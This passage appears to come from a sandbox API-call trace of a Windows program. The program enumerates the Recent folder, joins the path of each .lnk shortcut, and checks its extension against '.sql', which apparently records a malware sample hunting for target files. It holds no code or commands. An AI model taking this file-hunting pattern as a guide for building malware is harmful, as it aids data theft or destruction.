lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="1C35.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="1C35.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1C35.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1C35.lnk") returned 71 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="1K3-TZCPmibHkU6FTw.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="1K3-TZCPmibHkU6FTw.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1K3-TZCPmibHkU6FTw.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1K3-TZCPmibHkU6FTw.lnk") returned 85 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="1rMkargVi.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="1rMkargVi.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1rMkargVi.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1rMkargVi.lnk") returned 76 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="1WmQLmoja01-EP.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="1WmQLmoja01-EP.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="1WmQLmoja01-EP.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1WmQLmoja01-EP.lnk") returned 81 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="210AtVavnZ- J.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="210AtVavnZ- J.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="210AtVavnZ- J.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\210AtVavnZ- J.lnk") returned 80 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="22j3l8d5gwBlYb.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="22j3l8d5gwBlYb.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="22j3l8d5gwBlYb.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\22j3l8d5gwBlYb.lnk") returned 81 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="2eXJAztyYmvvQ.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="2eXJAztyYmvvQ.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2eXJAztyYmvvQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2eXJAztyYmvvQ.lnk") returned 80 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="2OkDu2NHm-7zk1T.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="2OkDu2NHm-7zk1T.lnk", lpString2="..") returned 1 [0135.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="2OkDu2NHm-7zk1T.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk" [0135.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2OkDu2NHm-7zk1T.lnk") returned 82 [0135.725] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.725] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.725] lstrcmpW (lpString1="4a e.lnk", lpString2=".") returned 1 [0135.725] lstrcmpW (lpString1="4a e.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4a e.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4a e.lnk") returned 71 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="4nC7.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="4nC7.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4nC7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4nC7.lnk") returned 71 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="4o-7px (2).lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="4o-7px (2).lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4o-7px (2).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px (2).lnk") returned 77 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="4o-7px.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="4o-7px.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4o-7px.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4o-7px.lnk") returned 73 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="4wEn.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="4wEn.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="4wEn.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4wEn.lnk") returned 71 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="5j6qWl.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="5j6qWl.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5j6qWl.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5j6qWl.lnk") returned 73 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="5NChLZgIqlXt.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="5NChLZgIqlXt.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="5NChLZgIqlXt.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5NChLZgIqlXt.lnk") returned 79 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="68I4YY.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="68I4YY.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="68I4YY.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\68I4YY.lnk") returned 73 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="6ttfnwVzD3wR1.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="6ttfnwVzD3wR1.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6ttfnwVzD3wR1.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6ttfnwVzD3wR1.lnk") returned 80 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="6z- of0Ate9fxiX14.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="6z- of0Ate9fxiX14.lnk", lpString2="..") returned 1 [0135.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6z- of0Ate9fxiX14.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk" [0135.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6z- of0Ate9fxiX14.lnk") returned 84 [0135.726] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.726] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.726] lstrcmpW (lpString1="7OmvA6Oj54HnGnXR.lnk", lpString2=".") returned 1 [0135.726] lstrcmpW (lpString1="7OmvA6Oj54HnGnXR.lnk", lpString2="..") returned 1 [0135.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="7OmvA6Oj54HnGnXR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk" [0135.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7OmvA6Oj54HnGnXR.lnk") returned 83 [0135.727] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.727] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.727] lstrcmpW (lpString1="8BQk0ewUYfCpH5.lnk", lpString2=".") returned 1 [0135.727] lstrcmpW (lpString1="8BQk0ewUYfCpH5.lnk", lpString2="..") returned 1 [0135.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8BQk0ewUYfCpH5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk" [0135.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8BQk0ewUYfCpH5.lnk") returned 81 [0135.727] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.727] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.727] lstrcmpW (lpString1="8Frf.flv.lnk", lpString2=".") returned 1 [0135.727] lstrcmpW (lpString1="8Frf.flv.lnk", lpString2="..") returned 1 [0135.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8Frf.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk" [0135.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8Frf.flv.lnk") returned 75 [0135.727] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.727] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.727] lstrcmpW (lpString1="8UW6wrCE2.lnk", lpString2=".") returned 1 [0135.727] lstrcmpW (lpString1="8UW6wrCE2.lnk", lpString2="..") returned 1 [0135.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8UW6wrCE2.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk" [0135.727] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8UW6wrCE2.lnk") returned 76 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="aFOzj3YZTHvF.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="aFOzj3YZTHvF.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aFOzj3YZTHvF.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aFOzj3YZTHvF.lnk") returned 79 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="ArQS.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="ArQS.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ArQS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ArQS.lnk") returned 71 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="AThZQX4 Xqy.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="AThZQX4 Xqy.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AThZQX4 Xqy.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AThZQX4 Xqy.lnk") returned 79 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="AutomaticDestinations", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="AutomaticDestinations", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 84 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="aWlcbVjj2 N5W7gRzUu.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="aWlcbVjj2 N5W7gRzUu.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aWlcbVjj2 N5W7gRzUu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aWlcbVjj2 N5W7gRzUu.lnk") returned 86 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="bemI0XiX.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="bemI0XiX.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="bemI0XiX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bemI0XiX.lnk") returned 75 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="brfsFSSqM P0x3ZmWLa7.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="brfsFSSqM P0x3ZmWLa7.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="brfsFSSqM P0x3ZmWLa7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\brfsFSSqM P0x3ZmWLa7.lnk") returned 87 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] 